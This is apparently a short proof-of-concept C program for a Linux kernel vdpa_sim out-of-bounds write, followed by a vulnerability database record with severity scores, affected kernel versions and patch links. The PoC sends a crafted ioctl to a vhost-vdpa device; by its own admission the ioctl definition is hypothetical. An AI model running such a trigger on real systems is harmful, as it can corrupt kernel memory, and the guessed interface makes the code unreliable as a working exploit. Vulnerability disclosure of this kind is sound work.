CVE-2026-43248

/* * PoC for CVE-2026-43248 * Triggering out-of-bounds write in vdpa_sim * by assigning group == ngroups. */ #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical ioctl definition based on vhost-vdpa interface #define VHOST_VDPA_SET_GROUP _IOW(VHOST_VIRTIO, 0x41, __u32) int main(int argc, char *argv[]) { int fd, ret; unsigned int group_id; const char *device = "/dev/vhost-vdpa-0"; printf("[+] Attempting to open %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } // Vulnerability: vdpa_sim allows group == ngroups // Assuming ngroups is 1 for simplicity, we set group_id to 1 // to trigger the out-of-bounds condition. group_id = 1; printf("[+] Sending ioctl to set group_id to %d\n", group_id); ret = ioctl(fd, VHOST_VDPA_SET_GROUP, &group_id); if (ret != 0) { perror("[-] Ioctl failed (expected on patched systems or if wrong device)"); } else { printf("[+] Ioctl succeeded. If vulnerable, kernel memory corruption occurred.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43248", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:45.380", "lastModified": "2026-05-11T13:14:40.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: move vdpa group bound check to vhost_vdpa\n\nRemove duplication by consolidating these here. This reduces the\nposibility of a parent driver missing them.\n\nWhile we're at it, fix a bug in vdpa_sim where a valid ASID can be\nassigned to a group equal to ngroups, causing an out of bound write."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19", "versionEndExcluding": "6.12.75", "matchCriteriaId": "CB25F456-468E-423D-B234-D169351C7208"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/406db68f9cb976a8ddfafd631197264f2307e9c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7441d35d14d9a3d66d925d90cb73c75394e6d454", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cd025c1e876b4e262e71398236a1550486a73ede", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ddb57354634b6ba851b79da45f1de42c646f27d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}